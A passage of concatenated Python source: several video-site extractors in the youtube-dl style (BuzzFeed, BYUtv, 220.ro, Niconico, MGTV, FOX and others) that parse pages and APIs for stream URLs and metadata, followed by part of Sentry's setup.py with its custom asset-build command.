                        QUALITIES_RE, qualities_basename,
                        'qualities', default=None)
                    if not qualities:
                        continue
                    qualities = list(map(lambda q: int(q[:-1]), qualities.strip(',').split(',')))
                    qualities.sort()
                    http_template = re.sub(QUALITIES_RE, r'%dk', qualities_basename)
                    http_url_basename = url_basename(video_url)
                    if m3u8_formats:
                        self._sort_formats(m3u8_formats)
                        m3u8_formats = list(filter(
                            lambda f: f.get('vcodec') != 'none' and f.get('resolution') != 'multiple',
                            m3u8_formats))
                    if len(qualities) == len(m3u8_formats):
                        for q, m3u8_format in zip(qualities, m3u8_formats):
                            f = m3u8_format.copy()
                            f.update({
                                'url': video_url.replace(http_url_basename, http_template % q),
                                'format_id': f['format_id'].replace('hls', 'http'),
                                'protocol': 'http',
                            })
                            formats.append(f)
                    else:
                        for q in qualities:
                            formats.append({
                                'url': video_url.replace(http_url_basename, http_template % q),
                                'ext': 'mp4',
                                'format_id': 'http-%d' % q,
                                'tbr': q,
                            })

        if not formats and not info.get('VODSettings'):
            self.raise_geo_restricted()

        self._sort_formats(formats)

        synopsis = info.get('Synopsis') or {}
        # Prefer title outside synopsis since it's less messy
        title = (info.get('Title') or synopsis['Title']).strip()
        description = synopsis.get('Detailed') or (info.get('Synopsis') or {}).get('Short')
        duration = int_or_none(info.get('Duration'))
        timestamp = parse_iso8601(info.get('ReleaseDate'))

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'timestamp': timestamp,
            'duration': duration,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor
from .facebook import FacebookIE


class BuzzFeedIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?buzzfeed\.com/[^?#]*?/(?P<id>[^?#]+)'
    _TESTS = [{
        'url': 'http://www.buzzfeed.com/abagg/this-angry-ram-destroys-a-punching-bag-like-a-boss?utm_term=4ldqpia',
        'info_dict': {
            'id': 'this-angry-ram-destroys-a-punching-bag-like-a-boss',
            'title': 'This Angry Ram Destroys A Punching Bag Like A Boss',
            'description': 'Rambro!',
        },
        'playlist': [{
            'info_dict': {
                'id': 'aVCR29aE_OQ',
                'ext': 'mp4',
                'title': 'Angry Ram destroys a punching bag..',
                'description': 'md5:c59533190ef23fd4458a5e8c8c872345',
                'upload_date': '20141024',
                'uploader_id': 'Buddhanz1',
                'uploader': 'Angry Ram',
            }
        }]
    }, {
        'url': 'http://www.buzzfeed.com/sheridanwatson/look-at-this-cute-dog-omg?utm_term=4ldqpia',
        'params': {
            'skip_download': True,  # Got enough YouTube download tests
        },
        'info_dict': {
            'id': 'look-at-this-cute-dog-omg',
            'description': 're:Munchkin the Teddy Bear is back ?!',
            'title': 'You Need To Stop What You\'re Doing And Watching This Dog Walk On A Treadmill',
        },
        'playlist': [{
            'info_dict': {
                'id': 'mVmBL8B-In0',
                'ext': 'mp4',
                'title': 're:Munchkin the Teddy Bear gets her exercise',
                'description': 'md5:28faab95cda6e361bcff06ec12fc21d8',
                'upload_date': '20141124',
                'uploader_id': 'CindysMunchkin',
                'uploader': 're:^Munchkin the',
            },
        }]
    }, {
        'url': 'http://www.buzzfeed.com/craigsilverman/the-most-adorable-crash-landing-ever#.eq7pX0BAmK',
        'info_dict': {
            'id': 'the-most-adorable-crash-landing-ever',
            'title': 'Watch This Baby Goose Make The Most Adorable Crash Landing',
            'description': 'This gosling knows how to stick a landing.',
        },
        'playlist': [{
            'md5': '763ca415512f91ca62e4621086900a23',
            'info_dict': {
                'id': '971793786185728',
                'ext': 'mp4',
                'title': 'We set up crash pads so that the goslings on our roof would have a safe landi...',
                'uploader': 'Calgary Outdoor Centre-University of Calgary',
            },
        }],
        'add_ie': ['Facebook'],
    }]

    def _real_extract(self, url):
        playlist_id = self._match_id(url)
        webpage = self._download_webpage(url, playlist_id)

        all_buckets = re.findall(
            r'(?s)<div class="video-embed[^"]*"..*?rel:bf_bucket_data=\'([^\']+)\'',
            webpage)

        entries = []
        for bd_json in all_buckets:
            bd = json.loads(bd_json)
            video = bd.get('video') or bd.get('progload_video')
            if not video:
                continue
            entries.append(self.url_result(video['url']))

        facebook_url = FacebookIE._extract_url(webpage)
        if facebook_url:
            entries.append(self.url_result(facebook_url))

        return {
            '_type': 'playlist',
            'id': playlist_id,
            'title': self._og_search_title(webpage),
            'description': self._og_search_description(webpage),
            'entries': entries,
        }






from __future__ import unicode_literals

import json
import re

from .common import InfoExtractor
from ..utils import ExtractorError


class BYUtvIE(InfoExtractor):
    _VALID_URL = r'^https?://(?:www\.)?byutv.org/watch/[0-9a-f-]+/(?P<video_id>[^/?#]+)'
    _TEST = {
        'url': 'http://www.byutv.org/watch/6587b9a3-89d2-42a6-a7f7-fd2f81840a7d/studio-c-season-5-episode-5',
        'md5': '05850eb8c749e2ee05ad5a1c34668493',
        'info_dict': {
            'id': 'studio-c-season-5-episode-5',
            'ext': 'mp4',
            'description': 'md5:e07269172baff037f8e8bf9956bc9747',
            'title': 'Season 5 Episode 5',
            'thumbnail': 're:^https?://.*\.jpg$',
            'duration': 1486.486,
        },
        'params': {
            'skip_download': True,
        },
        'add_ie': ['Ooyala'],
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('video_id')

        webpage = self._download_webpage(url, video_id)
        episode_code = self._search_regex(
            r'(?s)episode:(.*?\}),\s*\n', webpage, 'episode information')
        episode_json = re.sub(
            r'(\n\s+)([a-zA-Z]+):\s+\'(.*?)\'', r'\1"\2": "\3"', episode_code)
        ep = json.loads(episode_json)

        if ep['providerType'] == 'Ooyala':
            return {
                '_type': 'url_transparent',
                'ie_key': 'Ooyala',
                'url': 'ooyala:%s' % ep['providerId'],
                'id': video_id,
                'title': ep['title'],
                'description': ep.get('description'),
                'thumbnail': ep.get('imageThumbnail'),
            }
        else:
            raise ExtractorError('Unsupported provider %s' % ep['provider'])






from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urllib_parse_unquote


class Ro220IE(InfoExtractor):
    IE_NAME = '220.ro'
    _VALID_URL = r'(?x)(?:https?://)?(?:www\.)?220\.ro/(?P<category>[^/]+)/(?P<shorttitle>[^/]+)/(?P<id>[^/]+)'
    _TEST = {
        'url': 'http://www.220.ro/sport/Luati-Le-Banii-Sez-4-Ep-1/LYV6doKo7f/',
        'md5': '03af18b73a07b4088753930db7a34add',
        'info_dict': {
            'id': 'LYV6doKo7f',
            'ext': 'mp4',
            'title': 'Luati-le Banii sez 4 ep 1',
            'description': 're:^Iata-ne reveniti dupa o binemeritata vacanta\. +Va astept si pe Facebook cu pareri si comentarii.$',
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)
        url = compat_urllib_parse_unquote(self._search_regex(
            r'(?s)clip\s*:\s*{.*?url\s*:\s*\'([^\']+)\'', webpage, 'url'))
        title = self._og_search_title(webpage)
        description = self._og_search_description(webpage)
        thumbnail = self._og_search_thumbnail(webpage)

        formats = [{
            'format_id': 'sd',
            'url': url,
            'ext': 'mp4',
        }]

        return {
            'id': video_id,
            'formats': formats,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
        }






# encoding: utf-8
from __future__ import unicode_literals

import re
import json
import datetime

from .common import InfoExtractor
from ..compat import (
    compat_urllib_parse_urlencode,
    compat_urlparse,
)
from ..utils import (
    ExtractorError,
    int_or_none,
    parse_duration,
    parse_iso8601,
    sanitized_Request,
    xpath_text,
    determine_ext,
    urlencode_postdata,
)


class NiconicoIE(InfoExtractor):
    IE_NAME = 'niconico'
    IE_DESC = 'ニコニコ動画'

    _TESTS = [{
        'url': 'http://www.nicovideo.jp/watch/sm22312215',
        'md5': 'd1a75c0823e2f629128c43e1212760f9',
        'info_dict': {
            'id': 'sm22312215',
            'ext': 'mp4',
            'title': 'Big Buck Bunny',
            'uploader': 'takuya0301',
            'uploader_id': '2698420',
            'upload_date': '20131123',
            'timestamp': 1385182762,
            'description': '(c) copyright 2008, Blender Foundation / www.bigbuckbunny.org',
            'duration': 33,
        },
    }, {
        # File downloaded with and without credentials are different, so omit
        # the md5 field
        'url': 'http://www.nicovideo.jp/watch/nm14296458',
        'info_dict': {
            'id': 'nm14296458',
            'ext': 'swf',
            'title': '【鏡音リン】Dance on media【オリジナル】take2!',
            'description': 'md5:689f066d74610b3b22e0f1739add0f58',
            'uploader': 'りょうた',
            'uploader_id': '18822557',
            'upload_date': '20110429',
            'timestamp': 1304065916,
            'duration': 209,
        },
    }, {
        # 'video exists but is marked as "deleted"
        # md5 is unstable
        'url': 'http://www.nicovideo.jp/watch/sm10000',
        'info_dict': {
            'id': 'sm10000',
            'ext': 'unknown_video',
            'description': 'deleted',
            'title': 'ドラえもんエターナル第3話「決戦第3新東京市」＜前編＞',
            'upload_date': '20071224',
            'timestamp': 1198527840,  # timestamp field has different value if logged in
            'duration': 304,
        },
    }, {
        'url': 'http://www.nicovideo.jp/watch/so22543406',
        'info_dict': {
            'id': '1388129933',
            'ext': 'mp4',
            'title': '【第1回】RADIOアニメロミックス ラブライブ！～のぞえりRadio Garden～',
            'description': 'md5:b27d224bb0ff53d3c8269e9f8b561cf1',
            'timestamp': 1388851200,
            'upload_date': '20140104',
            'uploader': 'アニメロチャンネル',
            'uploader_id': '312',
        }
    }]

    _VALID_URL = r'https?://(?:www\.|secure\.)?nicovideo\.jp/watch/(?P<id>(?:[a-z]{2})?[0-9]+)'
    _NETRC_MACHINE = 'niconico'
    # Determine whether the downloader used authentication to download video
    _AUTHENTICATED = False

    def _real_initialize(self):
        self._login()

    def _login(self):
        (username, password) = self._get_login_info()
        # No authentication to be performed
        if not username:
            return True

        # Log in
        login_form_strs = {
            'mail': username,
            'password': password,
        }
        login_data = urlencode_postdata(login_form_strs)
        request = sanitized_Request(
            'https://secure.nicovideo.jp/secure/login', login_data)
        login_results = self._download_webpage(
            request, None, note='Logging in', errnote='Unable to log in')
        if re.search(r'(?i)<h1 class="mb8p4">Log in error</h1>', login_results) is not None:
            self._downloader.report_warning('unable to log in: bad username or password')
            return False
        # Successful login
        self._AUTHENTICATED = True
        return True

    def _real_extract(self, url):
        video_id = self._match_id(url)

        # Get video webpage. We are not actually interested in it for normal
        # cases, but need the cookies in order to be able to download the
        # info webpage
        webpage, handle = self._download_webpage_handle(
            'http://www.nicovideo.jp/watch/' + video_id, video_id)
        if video_id.startswith('so'):
            video_id = self._match_id(handle.geturl())

        video_info = self._download_xml(
            'http://ext.nicovideo.jp/api/getthumbinfo/' + video_id, video_id,
            note='Downloading video info page')

        if self._AUTHENTICATED:
            # Get flv info
            flv_info_webpage = self._download_webpage(
                'http://flapi.nicovideo.jp/api/getflv/' + video_id + '?as3=1',
                video_id, 'Downloading flv info')
        else:
            # Get external player info
            ext_player_info = self._download_webpage(
                'http://ext.nicovideo.jp/thumb_watch/' + video_id, video_id)
            thumb_play_key = self._search_regex(
                r'\'thumbPlayKey\'\s*:\s*\'(.*?)\'', ext_player_info, 'thumbPlayKey')

            # Get flv info
            flv_info_data = compat_urllib_parse_urlencode({
                'k': thumb_play_key,
                'v': video_id
            })
            flv_info_request = sanitized_Request(
                'http://ext.nicovideo.jp/thumb_watch', flv_info_data,
                {'Content-Type': 'application/x-www-form-urlencoded'})
            flv_info_webpage = self._download_webpage(
                flv_info_request, video_id,
                note='Downloading flv info', errnote='Unable to download flv info')

        flv_info = compat_urlparse.parse_qs(flv_info_webpage)
        if 'url' not in flv_info:
            if 'deleted' in flv_info:
                raise ExtractorError('The video has been deleted.',
                                     expected=True)
            else:
                raise ExtractorError('Unable to find video URL')

        video_real_url = flv_info['url'][0]

        # Start extracting information
        title = xpath_text(video_info, './/title')
        if not title:
            title = self._og_search_title(webpage, default=None)
        if not title:
            title = self._html_search_regex(
                r'<span[^>]+class="videoHeaderTitle"[^>]*>([^<]+)</span>',
                webpage, 'video title')

        watch_api_data_string = self._html_search_regex(
            r'<div[^>]+id="watchAPIDataContainer"[^>]+>([^<]+)</div>',
            webpage, 'watch api data', default=None)
        watch_api_data = self._parse_json(watch_api_data_string, video_id) if watch_api_data_string else {}
        video_detail = watch_api_data.get('videoDetail', {})

        extension = xpath_text(video_info, './/movie_type')
        if not extension:
            extension = determine_ext(video_real_url)

        thumbnail = (
            xpath_text(video_info, './/thumbnail_url') or
            self._html_search_meta('image', webpage, 'thumbnail', default=None) or
            video_detail.get('thumbnail'))

        description = xpath_text(video_info, './/description')

        timestamp = parse_iso8601(xpath_text(video_info, './/first_retrieve'))
        if not timestamp:
            match = self._html_search_meta('datePublished', webpage, 'date published', default=None)
            if match:
                timestamp = parse_iso8601(match.replace('+', ':00+'))
        if not timestamp and video_detail.get('postedAt'):
            timestamp = parse_iso8601(
                video_detail['postedAt'].replace('/', '-'),
                delimiter=' ', timezone=datetime.timedelta(hours=9))

        view_count = int_or_none(xpath_text(video_info, './/view_counter'))
        if not view_count:
            match = self._html_search_regex(
                r'>Views: <strong[^>]*>([^<]+)</strong>',
                webpage, 'view count', default=None)
            if match:
                view_count = int_or_none(match.replace(',', ''))
        view_count = view_count or video_detail.get('viewCount')

        comment_count = int_or_none(xpath_text(video_info, './/comment_num'))
        if not comment_count:
            match = self._html_search_regex(
                r'>Comments: <strong[^>]*>([^<]+)</strong>',
                webpage, 'comment count', default=None)
            if match:
                comment_count = int_or_none(match.replace(',', ''))
        comment_count = comment_count or video_detail.get('commentCount')

        duration = (parse_duration(
            xpath_text(video_info, './/length') or
            self._html_search_meta(
                'video:duration', webpage, 'video duration', default=None)) or
            video_detail.get('length'))

        webpage_url = xpath_text(video_info, './/watch_url') or url

        if video_info.find('.//ch_id') is not None:
            uploader_id = video_info.find('.//ch_id').text
            uploader = video_info.find('.//ch_name').text
        elif video_info.find('.//user_id') is not None:
            uploader_id = video_info.find('.//user_id').text
            uploader = video_info.find('.//user_nickname').text
        else:
            uploader_id = uploader = None

        return {
            'id': video_id,
            'url': video_real_url,
            'title': title,
            'ext': extension,
            'format_id': 'economy' if video_real_url.endswith('low') else 'normal',
            'thumbnail': thumbnail,
            'description': description,
            'uploader': uploader,
            'timestamp': timestamp,
            'uploader_id': uploader_id,
            'view_count': view_count,
            'comment_count': comment_count,
            'duration': duration,
            'webpage_url': webpage_url,
        }


class NiconicoPlaylistIE(InfoExtractor):
    _VALID_URL = r'https?://www\.nicovideo\.jp/mylist/(?P<id>\d+)'

    _TEST = {
        'url': 'http://www.nicovideo.jp/mylist/27411728',
        'info_dict': {
            'id': '27411728',
            'title': 'AKB48のオールナイトニッポン',
        },
        'playlist_mincount': 225,
    }

    def _real_extract(self, url):
        list_id = self._match_id(url)
        webpage = self._download_webpage(url, list_id)

        entries_json = self._search_regex(r'Mylist\.preload\(\d+, (\[.*\])\);',
                                          webpage, 'entries')
        entries = json.loads(entries_json)
        entries = [{
            '_type': 'url',
            'ie_key': NiconicoIE.ie_key(),
            'url': ('http://www.nicovideo.jp/watch/%s' %
                    entry['item_data']['video_id']),
        } for entry in entries]

        return {
            '_type': 'playlist',
            'title': self._search_regex(r'\s+name: "(.*?)"', webpage, 'title'),
            'id': list_id,
            'entries': entries,
        }






from __future__ import unicode_literals

from .nuevo import NuevoBaseIE


class AnitubeIE(NuevoBaseIE):
    IE_NAME = 'anitube.se'
    _VALID_URL = r'https?://(?:www\.)?anitube\.se/video/(?P<id>\d+)'

    _TEST = {
        'url': 'http://www.anitube.se/video/36621',
        'md5': '59d0eeae28ea0bc8c05e7af429998d43',
        'info_dict': {
            'id': '36621',
            'ext': 'mp4',
            'title': 'Recorder to Randoseru 01',
            'duration': 180.19,
        },
        'skip': 'Blocked in the US',
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)
        key = self._search_regex(
            r'src=["\']https?://[^/]+/embed/([A-Za-z0-9_-]+)', webpage, 'key')

        return self._extract_nuevo(
            'http://www.anitube.se/nuevo/econfig.php?key=%s' % key, video_id)






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import int_or_none


class MGTVIE(InfoExtractor):
    _VALID_URL = r'https?://www\.mgtv\.com/v/(?:[^/]+/)*(?P<id>\d+)\.html'
    IE_DESC = '芒果TV'

    _TESTS = [{
        'url': 'http://www.mgtv.com/v/1/290525/f/3116640.html',
        'md5': '1bdadcf760a0b90946ca68ee9a2db41a',
        'info_dict': {
            'id': '3116640',
            'ext': 'mp4',
            'title': '我是歌手第四季双年巅峰会：韩红李玟“双王”领军对抗',
            'description': '我是歌手第四季双年巅峰会',
            'duration': 7461,
            'thumbnail': 're:^https?://.*\.jpg$',
        },
    }, {
        # no tbr extracted from stream_url
        'url': 'http://www.mgtv.com/v/1/1/f/3324755.html',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        api_data = self._download_json(
            'http://v.api.mgtv.com/player/video', video_id,
            query={'video_id': video_id},
            headers=self.geo_verification_headers())['data']
        info = api_data['info']

        formats = []
        for idx, stream in enumerate(api_data['stream']):
            stream_url = stream.get('url')
            if not stream_url:
                continue
            tbr = int_or_none(self._search_regex(
                r'(\d+)\.mp4', stream_url, 'tbr', default=None))

            def extract_format(stream_url, format_id, idx, query={}):
                format_info = self._download_json(
                    stream_url, video_id,
                    note='Download video info for format %s' % (format_id or '#%d' % idx),
                    query=query)
                return {
                    'format_id': format_id,
                    'url': format_info['info'],
                    'ext': 'mp4',
                    'tbr': tbr,
                }

            formats.append(extract_format(
                stream_url, 'hls-%d' % tbr if tbr else None, idx * 2))
            formats.append(extract_format(stream_url.replace(
                '/playlist.m3u8', ''), 'http-%d' % tbr if tbr else None, idx * 2 + 1, {'pno': 1031}))
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': info['title'].strip(),
            'formats': formats,
            'description': info.get('desc'),
            'duration': int_or_none(info.get('duration')),
            'thumbnail': info.get('thumb'),
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    smuggle_url,
    update_url_query,
)


class FOXIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?fox\.com/watch/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.fox.com/watch/255180355939/7684182528',
        'md5': 'ebd296fcc41dd4b19f8115d8461a3165',
        'info_dict': {
            'id': '255180355939',
            'ext': 'mp4',
            'title': 'Official Trailer: Gotham',
            'description': 'Tracing the rise of the great DC Comics Super-Villains and vigilantes, Gotham reveals an entirely new chapter that has never been told.',
            'duration': 129,
            'timestamp': 1400020798,
            'upload_date': '20140513',
            'uploader': 'NEWA-FNG-FOXCOM',
        },
        'add_ie': ['ThePlatform'],
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        release_url = self._parse_json(self._search_regex(
            r'"fox_pdk_player"\s*:\s*({[^}]+?})', webpage, 'fox_pdk_player'),
            video_id)['release_url']

        return {
            '_type': 'url_transparent',
            'ie_key': 'ThePlatform',
            'url': smuggle_url(update_url_query(
                release_url, {'switch': 'http'}), {'force_smil_url': True}),
            'id': video_id,
        }






#!/usr/bin/env python
"""
Sentry
======

Sentry is a realtime event logging and aggregation platform. It specializes
in monitoring errors and extracting all the information needed to do a proper
post-mortem without any of the hassle of the standard user feedback loop.

Sentry is a Server
------------------

The Sentry package, at its core, is just a simple server and web UI. It will
handle authentication clients (such as `Raven
<https://github.com/getsentry/raven-python>`_)
and all of the logic behind storage and aggregation.

That said, Sentry is not limited to Python. The primary implementation is in
Python, but it contains a full API for sending events from any language, in
any application.

:copyright: (c) 2011-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import sys

# if sys.version_info[:2] != (2, 7):
#     print 'Error: Sentry requires Python 2.7'
#     sys.exit(1)

import os
import json
import shutil
import os.path
import datetime
import traceback
from distutils import log
from subprocess import check_output
from distutils.core import Command
from distutils.command.build import build as BuildCommand

from setuptools import setup, find_packages
from setuptools.command.sdist import sdist as SDistCommand
from setuptools.command.develop import develop as DevelopCommand

# The version of sentry
VERSION = '8.8.0.dev0'

# Also see sentry.utils.integrationdocs.DOC_FOLDER
INTEGRATION_DOC_FOLDER = os.path.join(os.path.abspath(
    os.path.dirname(__file__)), 'src', 'sentry', 'integration-docs')


# Hack to prevent stupid "TypeError: 'NoneType' object is not callable" error
# in multiprocessing/util.py _exit_function when running `python
# setup.py test` (see
# http://www.eby-sarna.com/pipermail/peak/2010-May/003357.html)
for m in ('multiprocessing', 'billiard'):
    try:
        __import__(m)
    except ImportError:
        pass

ROOT = os.path.realpath(os.path.join(os.path.dirname(__file__)))
IS_LIGHT_BUILD = os.environ.get('SENTRY_LIGHT_BUILD') == '1'

dev_requires = [
    'Babel',
    'flake8>=2.6,<2.7',
    'pycodestyle>=2.0,<2.1',
    'isort>=4.2.2,<4.3.0',
]

tests_require = [
    'blist',  # used by cassandra
    'casscache',
    'cqlsh',
    'datadog',
    'pytest-cov>=1.8.0,<1.9.0',
    'pytest-timeout>=0.5.0,<0.6.0',
    'pytest-xdist>=1.11.0,<1.12.0',
    'python-coveralls',
    'responses',
    'percy>=0.2.5',
]


install_requires = [
    'celery>=3.1.8,<3.1.19',
    'click>=5.0,<7.0',
    # 'cryptography>=1.3,<1.4',
    'cssutils>=0.9.9,<0.10.0',
    'Django>=1.6.0,<1.7',
    'django-bitfield>=1.7.0,<1.8.0',
    'django-crispy-forms>=1.4.0,<1.5.0',
    'django-debug-toolbar>=1.3.2,<1.4.0',
    'django-jsonfield>=0.9.13,<0.9.14',
    'django-picklefield>=0.3.0,<0.4.0',
    'django-recaptcha>=1.0.4,<1.1.0',
    'django-sudo>=2.1.0,<3.0.0',
    'django-templatetag-sugar>=0.1.0',
    'djangorestframework>=2.3.8,<2.4.0',
    'email-reply-parser>=0.2.0,<0.3.0',
    'enum34>=0.9.18,<1.2.0',
    'exam>=0.5.1',
    # broken on python3
    'hiredis>=0.1.0,<0.2.0',
    'honcho>=0.7.0,<0.8.0',
    'kombu==3.0.35',
    'lxml>=3.4.1',

    'ipaddress>=1.0.16,<1.1.0',
    'mock>=0.8.0,<1.1',
    'oauth2>=1.5.167',
    'petname>=1.7,<1.8',
    'Pillow>=3.2.0,<3.3.0',
    'progressbar2>=3.10,<3.11',
    'psycopg2>=2.6.0,<2.7.0',
    'pytest>=2.6.4,<2.7.0',
    'pytest-django>=2.9.1,<2.10.0',
    'pytest-html>=1.9.0,<1.10.0',
    'python-dateutil>=2.0.0,<3.0.0',
    'python-memcached>=1.53,<2.0.0',
    'python-openid>=2.2',
    'PyYAML>=3.11,<3.12',
    'raven>=5.21.0,<6.0.0',
    'redis>=2.10.3,<2.11.0',
    'requests[security]>=2.9.1,<2.11.0',
    'selenium>=2.53,<2.60',
    'simplejson>=3.2.0,<3.9.0',
    'six>=1.10.0,<1.11.0',
    'setproctitle>=1.1.7,<1.2.0',
    'statsd>=3.1.0,<3.2.0',
    'structlog==16.1.0',
    'South==1.0.1',
    'toronado>=0.0.10,<0.1.0',
    'ua-parser>=0.6.1,<0.8.0',
    'urllib3>=1.14,<1.17',
    'uwsgi>2.0.0,<2.1.0',
    'rb>=1.5.0,<2.0.0',
    'qrcode>=5.2.2,<6.0.0',
    'python-u2flib-server>=4.0.1,<4.1.0',
]

dsym_requires = [
    'symsynd>=0.8.3,<1.0.0',
]


class BuildJavascriptCommand(Command):
    description = 'build javascript support files'

    user_options = [
        ('work-path=', 'w',
         "The working directory for source files. Defaults to ."),
        ('build-lib=', 'b',
         "directory for script runtime modules"),
        ('inplace', 'i',
         "ignore build-lib and put compiled javascript files into the source " +
         "directory alongside your pure Python modules"),
        ('force', 'f',
         "Force rebuilding of static content. Defaults to rebuilding on version "
         "change detection."),
    ]

    boolean_options = ['force']

    def initialize_options(self):
        self.build_lib = None
        self.force = None
        self.work_path = None
        self.inplace = None

    def finalize_options(self):
        # This requires some explanation.  Basically what we want to do
        # here is to control if we want to build in-place or into the
        # build-lib folder.  Traditionally this is set by the `inplace`
        # command line flag for build_ext.  However as we are a subcommand
        # we need to grab this information from elsewhere.
        #
        # An in-place build puts the files generated into the source
        # folder, a regular build puts the files into the build-lib
        # folder.
        #
        # The following situations we need to cover:
        #
        #   command                         default in-place
        #   setup.py build_js               0
        #   setup.py build_ext              value of in-place for build_ext
        #   setup.py build_ext --inplace    1
        #   pip install --editable .        1
        #   setup.py install                0
        #   setup.py sdist                  0
        #   setup.py bdist_wheel            0
        #
        # The way this is achieved is that build_js is invoked by two
        # subcommands: bdist_ext (which is in our case always executed
        # due to a custom distribution) or sdist.
        #
        # Note: at one point install was an in-place build but it's not
        # quite sure why.  In case a version of install breaks again:
        # installations via pip from git URLs definitely require the
        # in-place flag to be disabled.  So we might need to detect
        # that separately.
        #
        # To find the default value of the inplace flag we inspect the
        # sdist and build_ext commands.
        sdist = self.distribution.get_command_obj('sdist')
        build_ext = self.get_finalized_command('build_ext')

        # If we are not decided on in-place we are inplace if either
        # build_ext is inplace or we are invoked through the install
        # command (easiest check is to see if it's finalized).
        if self.inplace is None:
            self.inplace = (build_ext.inplace or sdist.finalized) and 1 or 0

        log.info('building JavaScript support.')

        # If we're coming from sdist, clear the hell out of the dist
        # folder first.
        if sdist.finalized:
            log.info('cleaning out dist folder')
            try:
                os.unlink('src/sentry/sentry-package.json')
            except OSError:
                pass
            try:
                shutil.rmtree('src/sentry/static/sentry/dist')
            except (OSError, IOError):
                pass

            log.info('cleaning out integration docs folder')
            try:
                shutil.rmtree(INTEGRATION_DOC_FOLDER)
            except (OSError, IOError):
                pass

        # In place means build_lib is src.  We also log this.
        if self.inplace:
            log.info('In-place js building enabled')
            self.build_lib = 'src'
        # Otherwise we fetch build_lib from the build command.
        else:
            self.set_undefined_options('build',
                                       ('build_lib', 'build_lib'))
            log.info('regular js build: build path is %s' %
                     self.build_lib)

        if self.work_path is None:
            self.work_path = ROOT

    def _get_package_version(self):
        """
        Attempt to get the most correct current version of Sentry.
        """
        pkg_path = os.path.join(self.work_path, 'src')

        sys.path.insert(0, pkg_path)
        try:
            import sentry
        except Exception:
            version = None
            build = None
        else:
            log.info("pulled version information from 'sentry' module".format(
                     sentry.__file__))
            version = VERSION
            build = sentry.__build__
        finally:
            sys.path.pop(0)

        if not (version and build):
            try:
                with open(self.sentry_package_json_path) as fp:
                    data = json.loads(fp.read())
            except Exception:
                pass
            else:
                log.info("pulled version information from 'sentry-package.json'")
                version, build = data['version'], data['build']

        return {
            'version': version,
            'build': build,
        }

    def _needs_static(self, version_info):
        json_path = self.sentry_package_json_path
        if not os.path.exists(json_path):
            return True

        with open(json_path) as fp:
            data = json.load(fp)
        if data.get('version') != version_info.get('version'):
            return True
        if data.get('build') != version_info.get('build'):
            return True
        return False

    def _needs_integration_docs(self):
        return not os.path.isdir(INTEGRATION_DOC_FOLDER)

    def run(self):
        need_integration_docs = not os.path.isdir(INTEGRATION_DOC_FOLDER)
        version_info = self._get_package_version()

        if not (self.force or self._needs_static(version_info)):
            log.info("skipped asset build (version already built)")
        else:
            log.info("building assets for Sentry v{} (build {})".format(
                version_info['version'] or 'UNKNOWN',
                version_info['build'] or 'UNKNOWN',
            ))
            if not version_info['version'] or not version_info['build']:
                log.fatal('Could not determine sentry version or build')
                sys.exit(1)

            node_version = []
            for app in 'node', 'npm':
                try:
                    node_version.append(check_output([app, '--version']).rstrip())
                except OSError:
                    log.fatal('Cannot find `{0}` executable. Please install {0}`'
                              ' and try again.'.format(app))
                    sys.exit(1)

            log.info('using node ({}) and npm ({})'.format(*node_version))

            try:
                self._build_static()
            except Exception:
                traceback.print_exc()
                log.fatal("unable to build Sentry's static assets!\n"
                          "Hint: You might be running an invalid version of NPM.")
                sys.exit(1)

            log.info("writing version manifest")
            manifest = self._write_version_file(version_info)
            log.info("recorded manifest\n{}".format(
                json.dumps(manifest, indent=2),
            ))
            need_integration_docs = True

        if not need_integration_docs:
            log.info('skipped integration docs (already downloaded)')
        else:
            log.info('downloading integration docs')
            from sentry.utils.integrationdocs import sync_docs
            sync_docs()

        self.update_manifests()

    def update_manifests(self):
        # if we were invoked from sdist, we need to inform sdist about
        # which files we just generated.  Otherwise they will be missing
        # in the manifest.  This adds the files for what webpack generates
        # plus our own sentry-package.json file.
        sdist = self.distribution.get_command_obj('sdist')
        if not sdist.finalized:
            return

        # The path down from here only works for sdist:

        # Use the underlying file list so that we skip the file-exists
        # check which we do not want here.
        files = sdist.filelist.files
        base = os.path.abspath('.')

        # We need to split off the local parts of the files relative to
        # the current folder.  This will chop off the right path for the
        # manifest.
        for root in self.sentry_static_dist_path, INTEGRATION_DOC_FOLDER:
            for dirname, _, filenames in os.walk(root):
                for filename in filenames:
                    filename = os.path.join(dirname, filename)
                    files.append(filename[len(base):].lstrip(os.path.sep))

        files.append('src/sentry/sentry-package.json')
        files.append('src/sentry/static/version')

    def _build_static(self):
        work_path = self.work_path

        if os.path.exists(os.path.join(work_path, '.git')):
            log.info("initializing git submodules")
            check_output(['git', 'submodule', 'init'], cwd=work_path)
            check_output(['git', 'submodule', 'update'], cwd=work_path)

        log.info("running [npm install --production --quiet]")
        check_output(['npm', 'install', '--production', '--quiet'], cwd=work_path)

        # By setting NODE_ENV=production, a few things happen
        #   * React optimizes out certain code paths
        #   * Webpack will add version strings to built/referenced assets

        log.info("running [webpack]")
        env = dict(os.environ)
        env['SENTRY_STATIC_DIST_PATH'] = self.sentry_static_dist_path
        env['NODE_ENV'] = 'production'
        check_output(['node_modules/.bin/webpack', '-p', '--bail'],
                     cwd=work_path, env=env)

    def _write_version_file(self, version_info):
        manifest = {
            'createdAt': datetime.datetime.utcnow().isoformat() + 'Z',
            'version': version_info['version'],
            'build': version_info['build'],
        }
        with open(self.sentry_package_json_path, 'w') as fp:
            json.dump(manifest, fp)
